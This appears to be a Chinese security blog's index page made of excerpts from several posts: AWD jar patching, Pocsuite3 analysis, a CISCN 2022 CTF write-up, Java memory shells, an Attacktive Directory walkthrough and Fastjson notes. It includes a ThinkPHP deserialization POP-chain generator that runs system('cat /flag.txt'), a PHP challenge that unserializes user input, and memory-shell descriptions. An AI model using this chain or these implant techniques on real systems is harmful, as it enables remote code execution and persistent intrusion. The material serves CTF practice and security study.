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<a href="/2024/07/23/Java-11/" class="post-title-link" itemprop="url">AWD Java Patch</a>
</h1>
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<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2024-07-23 10:37:09 / Modified: 11:14:04" itemprop="dateCreated datePublished" datetime="2024-07-23T10:37:09+08:00">2024-07-23</time>
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<span class="post-meta-item" title="Symbols count in article">
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<span>3.2k</span>
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<span class="post-meta-item" title="Reading time">
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<span>4 mins.</span>
</span>
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<p>AWD线下赛修复jar/war包一直手忙脚乱，此篇文章记录几种常用的Java jar包修复方法</p>
<h2 id="反编译成Maven项目"><a href="#反编译成Maven项目" class="headerlink" title="反编译成Maven项目"></a>反编译成Maven项目</h2><p>对比于手动编译打包，反编译成Maven项目更加方便快捷（Maven其实也就是干这个事）</p>
<p>手动仅使用原始Java进行反编译并打包可以参考：<a href="https://mp.weixin.qq.com/s/hKXYudjEj2Z7nIC1k6NoWQ" target="_blank" rel="noopener">AWD离线-Jar文件冷补丁</a></p>
<p>下面记录反编译成Maven项目并进行修复的步骤</p>
<ol>
<li>反编译jar包，使用IDEA反编译插件还原源代码，反编译出来还是jar包，直接解压即可</li>
</ol>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/Library/Java/JavaVirtualMachines/jdk-17.0.11.jdk/Contents/Home/bin/java -cp <span class="string">"/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"</span> org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=<span class="literal">true</span> <jar_path> <output_path></span><br></pre></td></tr></table></figure>
<p>最新版IDEA的反编译插件需要java17</p>
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<h1 class="post-title" itemprop="name headline">
<a href="/2022/07/14/Web-23/" class="post-title-link" itemprop="url">Pocsuite3 Source Analysis</a>
</h1>
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<time title="Created: 2022-07-14 17:41:57 / Modified: 17:45:47" itemprop="dateCreated datePublished" datetime="2022-07-14T17:41:57+08:00">2022-07-14</time>
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<span class="post-meta-item" title="Symbols count in article">
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<span>1.8k</span>
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<span>2 mins.</span>
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<p>分析版本：pocsuite3-1.9.6</p>
<p>pip直接安装会附带两个可执行文件，<code>pocsuite</code> 对应CLI方式启动，<code>poc-console</code> 对应msf类型的console方式启动</p>
<p>可以从<code>setup.py</code> 和可执行文件源码中发现其实就是运行对应的python文件的方法</p>
<p><img src="/2022/07/14/Web-23/p3tiK9gwtGXFzABTU4zamr01aPAQ_FFOZ8qmdT404ls.png" alt="image"></p>
<p>分析CLI模式，大概流程非常简单清晰，检查环境->初始化配置->start开始扫描任务</p>
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<a href="/2022/05/30/Web-22/" class="post-title-link" itemprop="url">CISCN 2022 初赛 WriteUp by 0xFA</a>
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<time title="Created: 2022-05-30 16:26:29 / Modified: 16:32:41" itemprop="dateCreated datePublished" datetime="2022-05-30T16:26:29+08:00">2022-05-30</time>
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<span>21k</span>
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<span>26 mins.</span>
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<h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="Ezpop"><a href="#Ezpop" class="headerlink" title="Ezpop"></a>Ezpop</h3><p>题目内容：最近，小明在学习php开发，于是下载了thinkphp的最新版，但是却被告知最新版本存在漏洞，你能找到漏洞在哪里吗？</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>{</span><br><span class="line"> <span class="title">abstract</span> <span class="title">class</span> <span class="title">Model</span>{</span><br><span class="line"> <span class="title">private</span> $<span class="title">lazySave</span> = <span class="title">false</span>;</span><br><span class="line"> <span class="keyword">private</span> $data = [];</span><br><span class="line"> <span class="keyword">private</span> $exists = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">protected</span> $table;</span><br><span class="line"> <span class="keyword">private</span> $withAttr = [];</span><br><span class="line"> <span class="keyword">protected</span> $json = [];</span><br><span class="line"> <span class="keyword">protected</span> $jsonAssoc = <span class="keyword">false</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($obj = <span class="string">''</span>)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->lazySave = <span class="keyword">True</span>;</span><br><span class="line"> <span class="keyword">$this</span>->data = [<span class="string">'whoami'</span> => [<span class="string">'cat /flag.txt'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>->exists = <span class="keyword">True</span>;</span><br><span class="line"> <span class="keyword">$this</span>->table = $obj;</span><br><span class="line"> <span class="keyword">$this</span>->withAttr = [<span class="string">'whoami'</span> => [<span class="string">'system'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>->json = [<span class="string">'whoami'</span>,[<span class="string">'whoami'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>->jsonAssoc = <span class="keyword">True</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>{</span><br><span class="line"> <span class="title">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span>{</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span>{</span><br><span class="line"> <span class="title">echo</span>(<span class="title">urlencode</span>(<span class="title">serialize</span>(<span class="title">new</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>(<span class="title">new</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>()))));</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
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<h2 id="Java-Agent"><a href="#Java-Agent" class="headerlink" title="Java Agent"></a>Java Agent</h2><p>在 jdk 1.5 之后引入了 java.lang.instrument 包，该包提供了检测 java 程序的 Api，比如用于监控、收集性能信息、诊断问题，<strong>通过 java.lang.instrument 实现的工具我们称之为 Java Agent</strong> ，Java Agent 能够在不影响正常编译的情况下来修改字节码，即动态修改已加载或者未加载的类，包括类的属性、方法</p>
<p>Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法，将我们的恶意方法添加进去</p>
<p>说白了 Java Agent 只是一个 Java 类而已，只不过普通的 Java 类是以 main 函数作为入口点的，Java Agent 的入口点则是 premain 和 agentmain</p>
<p>Java Agent 支持两种方式进行加载：</p>
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<li>实现 premain 方法，在启动时进行加载 （该特性在 jdk 1.5 之后才有）</li>
<li>实现 agentmain 方法，在启动后进行加载 （该特性在 jdk 1.6 之后才有）</li>
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<h2 id="Interceptor-Memory-Shell"><a href="#Interceptor-Memory-Shell" class="headerlink" title="Interceptor Memory Shell"></a>Interceptor Memory Shell</h2><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>JDK 1.8.0_20，采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点</p>
<p>创建springboot项目</p>
<p><img src="/2022/05/26/Java-09/9kJm5LG_ftZ8GMt5iJHY4At-xMh3DIlyi5d5EIiNJ80.png" alt="image"></p>
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<time title="Created: 2022-05-26 09:33:21 / Modified: 09:48:11" itemprop="dateCreated datePublished" datetime="2022-05-26T09:33:21+08:00">2022-05-26</time>
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<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><p>本系列主要是补以前落下的知识，参考了很多大师傅的文章，非常感谢师傅们的分享</p>
<h2 id="Filter-Memory-Shell"><a href="#Filter-Memory-Shell" class="headerlink" title="Filter Memory Shell"></a>Filter Memory Shell</h2><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>我这里使用的是idea 2021.2，maven quickstart</p>
<p><img src="/2022/05/26/Java-08/1jxGI7ioBpMxiiPDgQ06oy_LFYKlup5yZjw6QsKDzN4.png" alt="image"></p>
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<h2 id="Task-3-Welcome-to-Attacktive-Directory"><a href="#Task-3-Welcome-to-Attacktive-Directory" class="headerlink" title="Task 3 Welcome to Attacktive Directory"></a>Task 3 Welcome to Attacktive Directory</h2><p>nmap扫描端口</p>
<p><img src="/2022/03/02/Web-21/iGpDs-dZvkOU1N62csbP7pmjkjrrrWH6U4UVO4dfIuw.png" alt="image"></p>
<p>enum4linux获取139/445信息，这个工具有探查端口信息，枚举用户名的功能</p>
<figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">enum4linux -A 10.10.28.202</span><br></pre></td></tr></table></figure>
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<p>众所周知，在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法，<strong>特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法</strong></p>
<p>那么对于一般的不满足条件的getter方法能否进行调用呢</p>
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<h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="serialize"><a href="#serialize" class="headerlink" title="serialize"></a>serialize</h3><p>index.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $class;</span><br><span class="line"> <span class="keyword">public</span> $user;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->class = <span class="string">"safe"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->user = <span class="string">"ctfer"</span>;</span><br><span class="line"> $context = <span class="keyword">new</span> <span class="keyword">$this</span>->class (<span class="keyword">$this</span>->user);</span><br><span class="line"> <span class="keyword">foreach</span>($context <span class="keyword">as</span> $f){</span><br><span class="line"> <span class="keyword">echo</span> $f;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $context = <span class="keyword">new</span> <span class="keyword">$this</span>->class (<span class="keyword">$this</span>->user);</span><br><span class="line"> <span class="keyword">foreach</span>($context <span class="keyword">as</span> $f){</span><br><span class="line"> <span class="keyword">echo</span> $f;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">safe</span></span>{</span><br><span class="line"> <span class="keyword">var</span> $user;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($user)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->user = $user;</span><br><span class="line"> <span class="keyword">echo</span> (<span class="string">"hello "</span>.<span class="keyword">$this</span>->user);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'data'</span>])){</span><br><span class="line"> unserialize($_GET[<span class="string">'data'</span>]);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"> $demo=<span class="keyword">new</span> Demo;</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></table></figure>
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<a href="/2021/10/29/Java_06/" class="post-title-link" itemprop="url">Fastjson Vulnerability</a>
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<time title="Created: 2021-10-29 17:50:37 / Modified: 17:55:30" itemprop="dateCreated datePublished" datetime="2021-10-29T17:50:37+08:00">2021-10-29</time>
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<p>Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。</p>
<p>Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。</p>
<h2 id="Fastjson组件"><a href="#Fastjson组件" class="headerlink" title="Fastjson组件"></a>Fastjson组件</h2><p>Fastjson使用包含如下几个核心函数</p>
<figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//序列化</span></span><br><span class="line">String text = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span><span class="keyword">to</span><span class="constructor">JSONString(<span class="params">obj</span>)</span>;</span><br><span class="line"><span class="comment">//反序列化</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="literal">()</span>; <span class="comment">//解析为JSONObject类型或者JSONArray类型</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="constructor">Object(<span class="string">"{...}"</span>)</span>; <span class="comment">//JSON文本解析成JSONObject类型</span></span><br><span class="line">VO vo = <span class="module-access"><span class="module"><span class="identifier">JSON</span>.</span></span>parse<span class="constructor">Object(<span class="string">"{...}"</span>, VO.<span class="params">class</span>)</span>; <span class="comment">//JSON文本解析成VO.class类</span></span><br></pre></td></tr></table></figure>